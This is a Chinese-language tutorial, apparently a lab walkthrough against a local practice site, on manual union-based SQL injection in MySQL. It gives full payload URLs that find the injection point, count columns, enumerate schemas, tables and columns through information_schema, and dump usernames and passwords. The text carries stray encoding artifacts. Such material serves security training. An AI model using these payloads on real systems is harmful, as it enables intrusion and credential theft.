一、判斷是否存在注入
1、在有傳值得url后面輸入’ , ”或者),通過返回錯(cuò)誤,判斷sql語句是用什么符號閉合的。在url后面輸入 ’ 返回如圖錯(cuò)誤,初步判斷是sql語句是通過’閉合。

2、然后在后面構(gòu)建一個(gè)恒等式看我們的sql語句能不能正常執(zhí)行。通過執(zhí)行恒等式and 1=1 返回正常,and 1=2返回不正常,判斷出此頁面存在注入點(diǎn) --+對數(shù)據(jù)庫后面的查詢語句做注釋。


二、判斷系統(tǒng)查詢語句的字段的個(gè)數(shù)
1、通過order by n 判斷本查詢語句的字段的個(gè)數(shù)。Order by mysql的排序語句。如果n 大于表中的字段數(shù)就會報(bào)錯(cuò)。小于表中字段返回正常。Order by 4 返回錯(cuò)誤,order by 3 返回正常,判斷本查詢語句有3個(gè)字段。


三、通過聯(lián)合查詢,查庫,查表,查字段。
1、初步判斷有url提交的查詢語句有3個(gè)字段,union select 語句查詢前后字段必須一樣,我們通union select 1,2,3來判斷哪個(gè)字段是顯示的。通過and 1=2讓union前面的數(shù)據(jù)不顯示。通過執(zhí)行后回顯2,3。判斷2,3是顯示位。

2、查數(shù)據(jù)庫名,在3位我們執(zhí)行查所有數(shù)據(jù)庫名,所有數(shù)據(jù)表名,所有字段名的操作。
數(shù)據(jù)庫名存放在information_schema數(shù)據(jù)庫的schemata表中的schema_name字段中.
查詢語句:http://localhost/test/Less-1/?id=1' and 1=2 union select 1,schema_name,3 from information_schema.schemata limit 6,1? --+,然后通過limit n,N語句依次爆出存在的數(shù)據(jù)庫名。

3、查表,同樣的操作,表名存在information_schema數(shù)據(jù)庫的tables的table_name字段中,并通過限制條件schema_name = ‘web’查詢web數(shù)據(jù)庫中存在的表名。
查詢命令:http://localhost/test/Less-1/?id=1' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 3,1? --+并通過limit依次列出所有表名。

4、查詢數(shù)據(jù)庫表中的所有字段。
表中的字段保存在,information_schema數(shù)據(jù)columns表中的column_name字段中。并通過限制查詢條件where table_name = ‘user’ and table_schema = ‘web’精確的查出web數(shù)據(jù)庫user表中的字段名。
查詢命令:http://localhost/test/Less-1/?id=1' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users' limit 1,1? --+? ?
然后同樣通過limit命令查出所有的數(shù)據(jù)字段。

5、查詢字段中的數(shù)據(jù)。通過普通的查詢命令就可以實(shí)現(xiàn)。
命令:http://localhost/test/Less-1/?id=1' and 1=2 union select 1,username,password from security.users limit 0,1 --+
同樣通過limit命令可以一個(gè)個(gè)顯示所有的字段內(nèi)容。
